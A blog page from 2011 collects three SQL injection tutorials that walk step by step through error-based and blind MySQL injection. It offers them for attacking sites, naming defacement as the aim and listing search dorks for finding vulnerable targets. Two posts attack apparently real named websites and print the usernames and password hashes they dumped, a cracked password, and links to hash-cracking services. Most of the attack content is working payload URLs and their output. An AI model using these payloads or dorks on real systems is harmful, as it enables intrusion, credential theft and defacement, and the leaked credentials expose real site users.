Hack via sql injection: PC Tips by Anu

Showing posts with label Hack via sql injection. Show all posts

Tuesday, December 27, 2011

SQL Injection : False SQL Injection / Advance Blind SQL Injection

Tuesday, December 27, 2011

Anu

Friday, December 23, 2011

Monday, May 16, 2011

Sunday, February 13, 2011

This is a very good tutorial on sql injection
SQL Injection Tutorial by CODE (MySQL)

In this tutorial i will describe how sql injection works and how to
use it to get some useful information.

First of all: What is SQL injection?

It's one of the most common vulnerability in web applications today.
It allows attacker to execute database query in url and gain access
to some confidential information etc...(in shortly).

1.SQL Injection (classic or error based or whatever you call it)

2.Blind SQL Injection (the harder part)

So let's start with some action Big Grin

1). Check for vulnerability

Let's say that we have some site like this

http://www.site.com/news.php?id=5

Now to test if is vulrnable we add to the end of url ' (quote),

and that would be http://www.site.com/news.php?id=5'

so if we get some error like
"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..."
or something similar

that means is vulrnable to sql injection Smile

2). Find the number of columns

To find number of columns we use statement ORDER BY (tells database how to order the result)

so how to use it? Well just incrementing the number until we get an error.

http://www.site.com/news.php?id=5 order by 1/* <-- no error

http://www.site.com/news.php?id=5 order by 2/* <-- no error

http://www.site.com/news.php?id=5 order by 3/* <-- no error

http://www.site.com/news.php?id=5 order by 4/* <-- error (we get message like this Unknown column '4' in 'order clause' or something like that)

that means that the it has 3 columns, cause we got an error on 4.

3). Check for UNION function

With union we can select more data in one sql statement.

so we have

http://www.site.com/news.php?id=5 union all select 1,2,3/* (we already found that number of columns are 3 in section 2). )

if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works Smile

4). Check for MySQL version

http://www.site.com/news.php?id=5 union all select 1,2,3/* NOTE: if /* not working or you get some error, then try --
it's a comment and it's important for our query to work properly.

let say that we have number 2 on the screen, now to check for version
we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar.

it should look like this http://www.site.com/news.php?id=5 union all select 1,@@version,3/*

if you get an error "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."

i didn't see any paper covering this problem, so i must write it

what we need is convert() function

i.e.

http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/*

or with hex() and unhex()

i.e.

http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*

and you will get MySQL version

5). Getting table and column name

well if the MySQL version is < 5 (i.e 4.1.33, 4.1.12...) <--- later i will describe for MySQL > 5 version.
we must guess table and column name in most cases.

common table names are: user/s, admin/s, member/s ...

common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc...

i.e would be

http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/* (we see number 2 on the screen like before, and that's good )

we know that table admin exists...

now to check column names.

http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/* (if you get an error, then try the other column name)

we get username displayed on screen, example would be admin, or superadmin etc...

now to check if column password exists

http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/* (if you get an error, then try the other column name)

we seen password on the screen in hash or plain-text, it depends of how the database is set up Smile

i.e md5 hash, mysql hash, sha1...

now we must complete query to look nice

for that we can use concat() function (it joins strings)

i.e

http://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*

Note that i put 0x3a, its hex value for : (so 0x3a is hex value for colon)

(there is another way for that, char(58), ascii value for : )

http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*

now we get dislayed username:password on screen, i.e admin:admin or admin:somehash

when you have this, you can login like admin or some superuser

if can't guess the right table name, you can always try mysql.user (default)

it has user i password columns, so example would be

http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*

6). MySQL 5

Like i said before i'm gonna explain how to get table and column names
in MySQL > 5.

For this we need information_schema. It holds all tables and columns in database.

to get tables we use table_name and information_schema.tables.

i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*

here we replace the our number 2 with table_name to get the first table from information_schema.tables

displayed on the screen. Now we must add LIMIT to the end of query to list out all tables.

i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*

note that i put 0,1 (get 1 result starting from the 0th)

now to view the second table, we change limit 0,1 to limit 1,1

i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/*

the second table is displayed.

for third table we put limit 2,1

i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/*

keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc... Big Grin

To get the column names the method is the same.

here we use column_name and information_schema.columns

the method is same as above so example would be

http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*

the first column is diplayed.

the second one (we change limit 0,1 to limit 1,1)

ie.

http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/*

the second column is displayed, so keep incrementing until you get something like

username,user,login, password, pass, passwd etc... Big Grin

if you wanna display column names for specific table use this query. (where clause)

let's say that we found table users.

i.e

http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name='users'/*

now we get displayed column name in table users. Just using LIMIT we can list all columns in table users.

Note that this won't work if the magic quotes is ON.

let's say that we found colums user, pass and email.

now to complete query to put them all together Big Grin

for that we use concat() , i decribe it earlier.

i.e

http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/*

what we get here is user:pass:email from table users.

example: admin:hash:whatever@blabla.com

That's all in this part, now we can proceed on harder part Smile

2. Blind SQL Injection

Blind injection is a little more complicated the classic injection but it can be done Big Grin

I must mention, there is very good blind sql injection tutorial by xprog, so it's not bad to read it Big Grin

Let's start with advanced stuff.

I will be using our example

http://www.site.com/news.php?id=5

when we execute this, we see some page and articles on that page, pictures etc...

then when we want to test it for blind sql injection attack

http://www.site.com/news.php?id=5 and 1=1 <--- this is always true

and the page loads normally, that's ok.

now the real test

http://www.site.com/news.php?id=5 and 1=2 <--- this is false

so if some text, picture or some content is missing on returned page then that site is vulrnable to blind sql injection.

1) Get the MySQL version

to get the version in blind attack we use substring

i.e

http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4

this should return TRUE if the version of MySQL is 4.

replace 4 with 5, and if query return TRUE then the version is 5.

i.e

http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5

2) Test if subselect works

when select don't work then we use subselect

i.e

http://www.site.com/news.php?id=5 and (select 1)=1

if page loads normally then subselects work.

then we gonna see if we have access to mysql.user

i.e

http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1

if page loads normally we have access to mysql.user and then later we can pull some password usign load_file() function and OUTFILE.

3). Check table and column names

This is part when guessing is the best friend Smile

i.e.

http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1 (with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.)

then if the page loads normally without content missing, the table users exits.
if you get FALSE (some article missing), just change table name until you guess the right one Smile

let's say that we have found that table name is users, now what we need is column name.

the same as table name, we start guessing. Like i said before try the common names for columns.

i.e

http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1

if the page loads normally we know that column name is password (if we get false then try common names or just guess)

here we merge 1 with the column password, then substring returns the first character (,1,1)

4). Pull data from database

we found table users i columns username password so we gonna pull characters from that.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80

ok this here pulls the first character from first user in table users.

substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value

and then compare it with simbol greater then > .

so if the ascii char greater then 80, the page loads normally. (TRUE)

we keep trying until we get false.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95

we get TRUE, keep incrementing

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98

TRUE again, higher

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

FALSE!!!

so the first character in username is char(99). Using the ascii converter we know that char(99) is letter 'c'.

then let's check the second character.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99

Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in lenght)

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

TRUE, the page loads normally, higher.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107

FALSE, lower number.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104

TRUE, higher.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105

FALSE!!!

we know that the second character is char(105) and that is 'i'. We have 'ci' so far

so keep incrementing until you get the end. (when >0 returns false we know that we have reach the end).

There are some tools for Blind SQL Injection, i think sqlmap is the best, but i'm doing everything manually,

cause that makes you better SQL INJECTOR

Hope you learned something from this paper.

Have FUN! (:

To be continued and updated...

Thanks,,,

SQL Injection Tutorial with vulnerably site...

Sunday, February 13, 2011

Anu

Hi! Friends, I will light the way of sql injection, which will help you to deface a vulnerable web site. so here is the way:

1.

Code:
index.php?id=7

(Origin)

2.

Code:
index.php?id=7'

(ada error/bug sql)

3.

Code:
index.php?id=7+and+1=1--

(True value) (equal sign + jgk with% 20 in url address bar of the distance or space)

4.

Code:
index.php?id=7+and+1=2--

(False, no display)

5.

Code:
index.php?id=7+order+by+5--

(Look how many column) (for example, there are 5 column)

6.

Code:
index.php?id=7+union+select+1,2,3,4,5--

(Look for the column that could inject) (no change)

7.

Code:
index.php?id=-7+union+select+1,2,3,4,5--

(Display number) (eg there are numbers 2 and 3 display the column that has a bug)

8.

Code:
index.php?id=-7+union+select+1,database(),3,4,5--

(See database) (replace the number 2 or 3)

9.

Code:
index.php? id =- 7 + union + select +1, concat (user (), 0x3a, database ()), version () ,4,5 -

(Alternate to see at once) (0x3a same jgk: but convert Dlm hexa)

10.

Code:
index.php?id=-7+union+select+1,2,table_name,4,5+from+information_schema.tables
+where+table_schema=database()+limit+0,1--

(dapatkan nama table 1per 1)

11.

Code:
index.php?id=-7+union+select+1,2,group_concat(table_name),4,5+from
+information_schema.tables+where+table_schema=database()--

(Tgk all the tables at once) (skip to easily reply No.10) (sample table that is table_user)

12.

Code:
index.php?id=-7+union+select+1,2,column_name,4,5+from+information_schema.columns
+where+table_name=0x7461626c655f75736572+limit+0,1--

(Get the name of the column) (convert to hex table_user name, tmbah prefix 0x)

13.

Code:
index.php?id=-7+union+select+1,2,group_concat(column_name),4,5+from+information_schema.columns
+where+table_name=0x7461626c655f75736572--

(Tgk all the column names in table_user) (eg to user_id and password_id)

14.

Code:
index.php? id =- 7 + union + select +1, database (), concat (user_id, password_id), from 4.5 + + table_user -

(Tgk username and pass) (need to get a pass crack md5)

15.

Code:
index.php?id=-7+union+select+1,2,group_concat(user_id,0x3a,password_id),4,5+from+table_user--

(encrypted username and pass)

Now Decrypt it:

Code:
http://md5crack.com
http://www.md5this.com
http://passcracking.com

user : neo10101
pass : 1234567890

For Example:

1.

Code:
http://www.hillsshiresport.com.au/article.php?news_id=11

Code:
http://www.hillsshiresport.com.au/article.php?news_id=11'

Code:
http://www.hillsshiresport.com.au/article.php?news_id=-11+union+select+1,2,3,4,5--

Code:
http://www.hillsshiresport.com.au/article.php?news_id=-11+union+select+1, concat (user (), 0x3a, database ()), version () ,4,5 -

New Result:

Quote:hire_hssi@localhost:hire_hssi ( 5.0.51a-community)

Code:
http://www.hillsshiresport.com.au/article.php?news_id=-11+union+select+1,group_concat(table_name),3,4,5+from+information_schema.tables+where+table_schema=database()--

New Result:

Quote:letter,members,news,poll,sport

Code:
http://www.hillsshiresport.com.au/article.php?news_id=-11+union+select+1,2,3,group_concat(column_name),5+from+information_schema.columns+where+table_name=0x6d656d62657273--

Result we get:

Quote:member_id,sport_id,member_name,member_desc,member_who,member_when,member_where,member_how,member_phone,member_email,member_web,
member_level,member_username,member_password,member_status,member_comment

Code:
http://www.hillsshiresport.com.au/article.php?news_id=-11+union+select+1,2,3,group_concat(member_username,0x3a,member_password),5+from+​​members--

And Here we got:

Quote:touch:d46e1fcf4c07ce4a69ee07e4134bcef1,CHRSL:b1a743a19c218628c6f64546cb283776,hba:d8d00d2c9debbe8dad3cfeb7fdb05a67,:d41d8cd98f00b204e9800998ecf8427e,
hurricanes06:325996284af2cf7702b52001d1071d95,
Winston Hills Sports Club Ltd.:212fd9e45aedfb6428d8b5f872e11f7a,
Winston Hills Little Athletics Centre:8dca007e1cec4046b0aaacc75c741e3f,
netball:fc10a8c6b71dc25294d28fb86b122f6b,:d41d8cd98f00b204e9800998ecf8427e,:d41d8cd98f00b204e9800998ecf8427e,
Baulko:fc10a8c6b71dc25294d28fb86b122f6b,dylcon:5dac1b5914537a1bcd5ac55b181e8512,axkueozls:01e7c7f782b7b0371ee326bc3baad7be,:d41d8cd98f00b204e9800998ecf8427e

user :neo1010
pass :1234567890

Thanks....

SQL Injection tutorial for beginners...

Sunday, February 13, 2011

Anu

In this tutorial you will understand how SQL INJECTION DONE in a very simple way.

SQL INJECTION is an attack technique used to exploit web sites by altering backend SQL statements through manipulating application input.

Here we go!!

1). Search for a vulnerable site
Highlight one then press ctrl+c then ctrl+v at your browser address bar.

allinurl:index.php?id=
allinurl:trainers.php?id=
allinurl:buy.php?category=
allinurl:article.php?ID=
allinurl:play_old.php?id=
allinurl:newsitem.php?num=
allinurl:readnews.php?id=
allinurl:top10.php?cat=
allinurl:historialeer.php?num=
allinurl:reagir.php?num=
allinurl:Stray-Questions-View.php?num=
allinurl:forum_bds.php?num=
allinurl:game.php?id=
allinurl:view_product.php?id=
allinurl:newsone.php?id=
allinurl:sw_comment.php?id=
allinurl:news.php?id=
allinurl:avd_start.php?avd=
allinurl:event.php?id=
allinurl:product-item.php?id=
allinurl:sql.php?id=
allinurl:news_view.php?id=
allinurl:select_biblio.php?id=
allinurl:humor.php?id=
allinurl:aboutbook.php?id=
allinurl:ogl_inet.php?ogl_id=
allinurl:fiche_spectacle.php?id=
allinurl:communique_detail.php?id=
allinurl:sem.php3?id=
allinurl:kategorie.php4?id=
allinurl:news.php?id=
allinurl:index.php?id=
allinurl:faq2.php?id=
allinurl:show_an.php?id=
allinurl:preview.php?id=
allinurl:loadpsb.php?id=
allinurl:opinions.php?id=
allinurl:spr.php?id=
allinurl:pages.php?id=
allinurl:announce.php?id=
allinurl:clanek.php4?id=
allinurl:participant.php?id=
allinurl:download.php?id=
allinurl:main.php?id=
allinurl:review.php?id=
allinurl:chappies.php?id=
allinurl:read.php?id=
allinurl:prod_detail.php?id=
allinurl:viewphoto.php?id=
allinurl:article.php?id=
allinurl:person.php?id=
allinurl:productinfo.php?id=
allinurl:showimg.php?id=
allinurl:view.php?id=
allinurl:website.php?id=
allinurl:hosting_info.php?id=
allinurl:gallery.php?id=
allinurl:rub.php?idr=
allinurl:view_faq.php?id=
allinurl:artikelinfo.php?id=
allinurl:detail.php?ID=
allinurl:index.php?=
allinurl:profile_view.php?id=
allinurl:category.php?id=
allinurl:publications.php?id=
allinurl:fellows.php?id=
allinurl:downloads_info.php?id=
allinurl:prod_info.php?id=
allinurl:shop.php?do=part&id=
allinurl:productinfo.php?id=
allinurl:collectionitem.php?id=
allinurl:band_info.php?id=
allinurl:product.php?id=
allinurl:releases.php?id=
allinurl:ray.php?id=
allinurl:produit.php?id=
allinurl:pop.php?id=
allinurl:shopping.php?id=
allinurl:productdetail.php?id=
allinurl:post.php?id=
allinurl:viewshowdetail.php?id=
allinurl:clubpage.php?id=
allinurl:memberInfo.php?id=
allinurl:section.php?id=
allinurl:theme.php?id=
allinurl:page.php?id=
allinurl:shredder-categories.php?id=
allinurl:tradeCategory.php?id=
allinurl:product_ranges_view.php?ID=
allinurl:shop_category.php?id=
allinurl:transcript.php?id=
allinurl:channel_id=
allinurl:item_id=
allinurl:newsid=
allinurl:trainers.php?id=
allinurl:news-full.php?id=
allinurl:news_display.php?getid=
allinurl:index2.php?option=
allinurl:readnews.php?id=
allinurl:top10.php?cat=
allinurl:newsone.php?id=
allinurl:event.php?id=
allinurl:product-item.php?id=
allinurl:sql.php?id=
allinurl:aboutbook.php?id=
allinurl:preview.php?id=
allinurl:loadpsb.php?id=
allinurl:pages.php?id=
allinurl:clanek.php4?id=
allinurl:announce.php?id=
allinurl:chappies.php?id=
allinurl:read.php?id=
allinurl:viewapp.php?id=
allinurl:viewphoto.php?id=
allinurl:rub.php?idr=
allinurl:galeri_info.php?l=
allinurl:review.php?id=
allinurl:iniziativa.php?in=
allinurl:curriculum.php?id=
allinurl:labels.php?id=
allinurl:story.php?id=
allinurl:look.php?ID=
allinurl:newsone.php?id=
allinurl:aboutbook.php?id=

2.Suppose we have this one

http://www.shangproperties.com/news_archive.php?id=6

We will check it's vulnerability by adding magic qoute (') at the end of the url.

3.So the url will be like this:

http://www.shangproperties.com/news_archive.php?id=6'

And we hit enter and we got this result.

Database error: Invalid SQL: SELECT * FROM NewsArticle WHERE NewsID=6\';
mySQL Error: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1)
Database error: next_record called with no query pending.
mySQL Error: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1)

If you got an error, some text missing or a blank page the site is vulnerable but not at all.

Now we know that the site is vulnerable.

4.The next step is find out how many columns the database contain
To find it we use "order by" (without the qoute) and this string " -- " (no qoute).

It will look like this:

http://www.shangproperties.com/news_archive.php?id=6 order by 1-- (no error)
http://www.shangproperties.com/news_archive.php?id=6 order by 2-- (no error)
http://www.shangproperties.com/news_archive.php?id=6 order by 3-- (no error)

we move a little higher. (it doesn't matter)

http://www.shangproperties.com/news_archive.php?id=6 order by 10-- (no error)
http://www.shangproperties.com/news_archive.php?id=6 order by 14-- (no error)

until we got an error:

http://www.shangproperties.com/news_archive.php?id=6 order by 15-- (we got an error)

now we got an error on this column:it will lok like this.

Database error: Invalid SQL: SELECT * FROM NewsArticle WHERE NewsID=6 order by 15--;
mySQL Error: 1054 (Unknown column '15' in 'order clause')
Database error: next_record called with no query pending.
mySQL Error: 1054 (Unknown column '15' in 'order clause')

this mean the database contain only 14 columns.

5.. Now use "-" (negative quote) and union select statement.

using this we can select more data in one sql statement.

Look like this:

http://www.shangproperties.com/news_archive.php?id=-6 union select 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14--

we hit enter.

numbers appears..
Like this:
6
, 5

8

6.Now we will check it's MYSQL VERSION. We will add @@version on the numbers appear on the previous step.

lemme say i choose 8.. we will replace 8 with @@version,so it will look like this.

http://www.shangproperties.com/news_archive.php?id=-6 union select 1, 2, 3, 4, 5, 6, 7, @@version, 9, 10, 11, 12, 13, 14--

and you will get a result like this:
6
, 5

5.1.32 <--this is the version

now we get the version: ;-)

7.Getting Table Name.

We use group_concat(table_name).
replace @@version with group_concat(table_name)

and look like this:
http://www.shangproperties.com/news_archive.php?id=-6 union select 1, 2, 3, 4, 5, 6, 7, group_concat(table_name), 9, 10, 11, 12, 13, 14--

were not done already: (don't hit enter)

between number 14 and this "--" (quote) insert this:

+from+information_schema.tables+where+table_schema=database()--

it will look like this:

http://www.shangproperties.com/news_archive.php?id=-6 union select 1, 2, 3, 4, 5, 6, 7, group_concat(table_name), 9, 10, 11, 12, 13, 14+from+information_schema.tables+where+table_schema=database()--

we hit enter and got this result:
Blurb,FileUpload,Inquiries,NewsArticle,ProjectPhoto,active_sessions_split,auth_user_md5

8. Now we're done on TABLE NAME, we move on to COLUMN NAME.

use this string group_concat(column_name)

replace group_concat(table_name) to group_concat(column_name).

but before that we must choose one column. i choose auth_user_md5 because this is must or what we want.

for better result we need to hex auth_user_md5.

Go to this Link: Click here!

paste auth_user_md5 to the text box and click encode.

now we get the hex of auth_user_md5: look like this: 61 75 74 68 5f 75 73 65 72 5f 6d 64 35

before proceeding remove space between each numbers. like this: 617574685f757365725f6d6435

Now replace group_concat(table_name) to group_concat(column_name).

like this:
http://www.shangproperties.com/news_archive.php?id=-6 union select 1, 2, 3, 4, 5, 6, 7, group_concat(column_name), 9, 10, 11, 12, 13, 14+from+information_schema.tables+where+table_schema=database()--

replace also +from+information_schema.tables+where+table_schema=database()--
to
+from+information_schema.columns+where+table_name=0x617574685f757365725f6d6435--

(The yellow letter and numbers is the auth_user_md5 hex we encoded)

Note: always add 0x before the hex. Like above.

Here is the result:

http://www.shangproperties.com/news_archive.php?id=-6 union select 1, 2, 3, 4, 5, 6, 7, group_concat(column_name), 9, 10, 11, 12, 13, 14+from+information_schema.columns+where+table_name=0x617574685f757365725f6d6435--

Now hit enter: and you got result like this.
UserID,Username,Password,Perms,FirstName,MiddleName,LastName,Position,EmailAddress,ContactNumbers,DateCreated,CreatedBy,DateModified,ModifiedBy,Status

9.We use 0x3a to obtain what we want from the DATABASE like pass, username, etc..etc..

Replace group_concat(column_name) to group_concat(UserID,0x3a,Username,0x3a,Password,0x3a,Perms,0x3a,FirstName,0x3a,MiddleName,0x3a,LastName,0x3a,Position,0x3a,EmailAddress,0x3a,ContactNumbers,0x3a,DateCreated,0x3a,CreatedBy,0x3a,DateModified,0x3a,ModifiedBy,0x3aStatus)

but i prefer to do this one group_concat(Username,0x3a,Password) for less effort.

and replace also information_schema.columns+where+table_name=0x617574685f757365725f6d6435-- to +from+auth_user_md5--

617574685f757365725f6d6435 is the hex value of auth_user_md5 so we replace it.

Result look like this:

http://www.shangproperties.com/news_archive.php?id=-6 union select 1, 2, 3, 4, 5, 6, 7,group_concat(Username,0x3a,Password), 9, 10, 11, 12, 13, 14+from+auth_user_md5--

i hit enter we got this:
admin username: k2admin / admin
password in md5 hash:21232f297a57a5a743894a0e4a801fc3 / 97fda9951fd2d6c75ed53484cdc6ee2d

10.Because the password is in md5 hash we need to crack it.

Go to this link:Click here!

or download this md5 hash cracker:
Click here!

password: x1R0zYB3bex

Were done it's up to you what you want to do to the site after cracking the md5.
congratulation!!!

Thanks....

Blog Archive

Popular Posts

Tuesday, December 27, 2011

SQL Injection : False SQL Injection / Advance Blind SQL Injection

Friday, December 23, 2011

SQL Injection : Updated ;)

Monday, May 16, 2011

Website hacking techniques...

Sunday, February 13, 2011

SQL Injection by CODE

SQL Injection Tutorial with vulnerably site...

SQL Injection tutorial for beginners...

Followers

Facebook

Networked Blogs